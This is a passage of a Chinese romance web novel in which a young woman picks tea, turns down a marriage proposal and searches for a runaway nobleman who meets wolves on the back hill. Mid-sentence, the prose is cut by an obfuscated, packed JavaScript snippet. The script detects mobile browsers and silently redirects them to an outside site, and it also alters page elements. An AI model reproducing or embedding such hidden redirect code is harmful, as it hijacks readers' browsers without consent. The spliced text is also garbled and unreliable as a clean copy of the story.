村落在半山腰,茶园需得再往上走一刻钟。
地面一踩一个泥印子,扶香鞋面溅了不少泥点,她拧着眉心,见刚洗干净的新鞋彻底被染黑了,身旁的江文宣虚扶住她,有些歉疚道:“都是我不好,这雨天村里的地脏,泥也多,我还让扶姑娘陪我跑一趟,脏了姑娘的鞋面。待过几日姑娘去镇上,我赔姑娘一双新的。”
扶香连忙出声拒绝:“不用了——”
她话没说完,一旁紧皱眉心的秦酽忽地走上前,在她面前蹲下身,伸出指节捏住她的脚踝,然后认真地捏起袖口擦着鞋面。
扶香一怔,垂睫看他。
秦酽眉眼认真,只盯着松青色鞋面看,见袖口擦不掉,用指腹一点点拭去上面的泥点。
擦完,他站起身,撞上扶香意外的目光,不自在地咳了声道:“鞋脏了得我洗。我是怕泥点干了,洗不干净。”
天知道她的鞋有多难洗,绣着一些稀奇古怪的东西,还不能泡水太久,他只能拿着皂荚慢慢地擦,费上半个时辰才能洗干净一只,手都快洗破皮了。
风轻轻地吹,他很刻薄地质问道:“走路小心点,别往泥地走,难道想在这地摔一跤,把脏衣裳全丢给我洗,累死我吗?”
扶香缩了缩腿,只觉脚腕上还残存着一点热意,她小声地嘀咕了句:“才没有。”
江文宣来回看着他们,笑意有些勉强,开口道:“马上便到了,扶姑娘,我们走吧。”
待进了茶园,扶香取出竹篮递给他们两人,对着江文宣道:“你不善采茶,就先跟在我身后吧。”
江文宣笑着“嗯”了声。
秦酽皱着眉,满眼嫌弃地打量着那竹篮,然后学着扶香的动作系在腰间,跟在两人身后进了茶园。
茶树冒着清脆的绿,被雨水浇得一片鲜明。
清明将到,大半嫩芽已经被采摘完了,只剩下少许仍在生长。
扶香走到茶树旁,指节一边提采着嫩芽,一边道:“这里的茶树所生的芽叶不多,不知江公子想要多少?”
江文宣道:“只需一罐便可。其实我寻茶也并非为了卖个高价,只是近来江家茶铺虽越开越多,却少了些镇店的好茶,更缺善制茶的人。”
他往前一步,有些急切道:“不知扶姑娘想不想加入江家?我定会给姑娘开个高价,姑娘和江家的恩怨也能一笔勾销。往后,我们也有机会……”
扶香动作未停,委婉道:“江公子,我不喜拘束,只愿和表姐相依为命,江家家大业大,定是能寻到更好的制茶手艺。”
江文宣面上有些失望,却也没再说什么。
秦酽看了眼江文宣,便继续垂着眼睫端详着扶香的动作。
没一会,他也上前,模仿着她摘茶的手势。
扶香余光瞥见,刚想制止,却见他做得有模有样,便就没说什么了。
风卷云动,竹篮渐渐铺垫了一层。
扶香道:“江公子,这些够了吗?”
江文宣有些心不在焉,被唤了声才回过神,匆匆扫了眼道:“足够了,多谢扶姑娘。不过天色尚早,扶姑娘能不能与我一道去附近瞧瞧,有没有成色的芽叶。”
以往江家来买茶叶,无论品相如何,全都是按一个价,毕竟这附近江家独大,若此番能按成色区分,说不准能替他们多卖些银钱。
扶香记得徐婶今年的茶叶长得不错。
她解着腰间系带,将竹篮抱在怀里,应下道:“好,我与你一道去看看。”说着,又看向秦酽道:“阿贵,你就在这别乱动,尤其是别往后山去,一会我就回来了。”
秦酽眉眼不动,敷衍着答应。
直到两人身影都走远了,他瞬间转身盯了会,快速将竹篮放下。
他早早就打听过了,除了村里下山的路以外,沿着后山小道走也能到镇上,只要到了镇上,有地方递信,就能和侯府联系上。
到时侍卫一来,将那个破院子一围……
他一定会将人捆了,先用铜板打她的脸,揍得鼻青脸肿后扔到臭水沟里,再将她带回侯府做丫鬟,一个时辰换套衣裳,扔下来给她洗,还要给他捶背捏肩,端茶奉水。
除非她跪地求饶,哭着向他认错,否则他绝不会轻易放过她。
他冷冷地哼了声,径直往后山而去。
*
乡间小道上,江文宣和扶香并肩而行,往徐婶家走去。
扶香一心想着徐婶家的茶叶能借此机会卖个高价,脚步逐渐变快,眼见着村落就在眼前了。
如雾般朦胧的小雨落下。
两人便暂到树下躲雨。
扶香脸上滚落着小雨珠,她抬首随意一擦,又拭着发尾的湿意,露出一截瓷白脖颈,面上显出青水镜月般的素雅。
江文宣眼中露出一点痴迷,忽地靠近了些:“扶姑娘,江家在青丰镇产茶已有十余年,父亲为此尽心竭力,拖垮了身子,尤其对你我脚下这座茶山格外珍重。所以一年前你突然到县衙拿出了地契,他心中觉得你平白夺去了数年心血,才会如此生气。”
扶香眉心微皱。
他连忙补充道:“但扶姑娘不必多想,这茶山如今就是你的,谁也抢不走,我只希望扶姑娘心中莫要怨恨父亲。”
扶香抿着唇,忽而有些后悔和他单独出来了,淡淡道:“江公子多虑了,我自种我的茶,往后与江家不会有什么牵扯,心中所想也不会对江家有什么影响。”
“可是——”江文宣行至扶香身前,眼中写满情意:“我心悦扶姑娘。”
“我已至婚嫁年纪,母亲日日替我相看,可我对旁人没半分念头,这才主动领了差事,想离扶姑娘近些。”
江文宣睁大眼睛,紧箍住她的双臂:“只要你愿意,我立刻就回府下聘,三书六礼,让你风风光光地嫁到江家,绝不会有半分亏待!”
扶香却被这话惊得愣住,以往她只当江文宣刻意接近是觊觎她手中地契,不料他竟有这种心思,可只愣神一瞬,她便感到双臂传来的痛感,伸手推了他一把。
江文宣往后踉跄了一步。
她动了动双臂,痛得倒吸一口凉气,语气也就有些不客气:“江公子,我心中对你无意,也不可能动旁的念头,还望你别说什么婚嫁的荒唐话。若你是因我来这地的话,还是早些搬回去吧。”
说完,也不顾凉丝丝的雨雾,捂着脑门往村里跑。
树下,江文宣一身规整又儒雅的衣装被吹得翻动,他盯着那道背影,面容有一瞬的扭曲。
*
扶香喘着粗气,跑回了屋中,全身都变得湿漉漉的。
她换了身衣裳,用干帕擦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092118|195473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拭着发尾,待身上回了暖,心中才渐渐安定下来。
江文宣此人她并不熟稔,只是去年为了地契的事奔波时有过几次交集,待人尚算谦逊知礼,但毕竟是江家的人,想要茶山也是情理之中,她便心存了几分警惕。
没想到他毫无预料地说出了婚嫁这种话,生生吓呆了她。
扶香有些伤神,如今江文宣就住在隔壁院落,若是一直不搬走,左邻右舍的,免不了碰见几面,她该怎么相处。
正愁苦着,院外传来苏禾的声音。
“扶香。”苏禾推门进来:“徐婶说有人看见你和江公子在村口吵架,然后一个人冒雨跑回来了,怎么了?”
扶香不想让表姐担心,摇摇头道:“没什么,只是我见这雨不大,淋不到什么,便直接回来了。”
苏禾没再多问,便道:“我去做些热汤,你喝了暖暖身子,阿贵呢,让他过来给我看火。”
扶香一愣,这才恍然想起阿贵如今还一人在茶园里,可他见着下雨,应是早早回来了,怎地还没瞧见他的身影?
她随手用木簪把半干的发丝拢起来,拾起伞匆匆往外走,道:“表姐,阿贵好像还在茶园里,我出去寻他,一会儿就回来。”
*
雨渐渐小了,直至隐没成空气中的凉雾。
扶香收了伞,俯身捡起地上湿漉漉的竹篮,可四下张望一圈,没看到秦酽的身影。
她往前走了一段,仍有几个在带着蓑衣,冒雨采茶的人,神情专注,手中动作一刻不停。
“大娘。”她走过去,“你放到站在那边茶地里的人了吗?”
大娘抬了抬眼,回忆道:“是有个人,不过半个时辰前就走了。”
“走了?那你看到他是往哪走的吗?”
“往后山去的,我见他往那地方去还唤了几声,可他好像没听到,一会就没影了。”大娘叹了口气,嘀咕道:“怎地往后山跑了,我记得后山有个地方挨着不少坟堆呢,一排排的,怪吓人的。”
扶香谢了大娘后,就往后山的方向走。
*
后山僻静,鲜有村中人踏足,林至深处便是一片阴沉沉的黑,隐约传来几声呜咽的雀鸣,在耳边四面八方地回旋着。
只是这份阴诡却不是最吓人的,林中本就有恶兽,经了这一整个冬日的饥肠辘辘,自是见到活肉就猛地往上扑。
秦酽初来此地,加上夜色微茫,景物一致,来回在这片转了好几圈都没寻到出路,来回走动闹出的动静,终于引来了三头饿狼。
三双绿油油的眼睛从树丛里冒出光,随即迅速扑上前。
秦酽扫它们一眼,冷冷从喉间挤出一抹冷笑,那个凶女人他对付不了,弄死几只狼还是行的。
在七岁以前,秦老侯爷尚还在世,对他要求极为严苛,不仅要早起练基本功,背兵法,还要随他一道去军营练刀剑,每日摔得浑身是伤,夜里涂了药,第二日只会伤得更重。
后来祖父不在了,他什么都丢得一干二净了,却独独留下了练武的好习惯,这也是他能在长安横行霸道的缘由之一。
毕竟没人打得过他。
秦酽在地上打量了会,捡到了根勉强满意的木棍。
三只饿狼似看出了他的冷静,对视一眼齐齐扑了上来。
……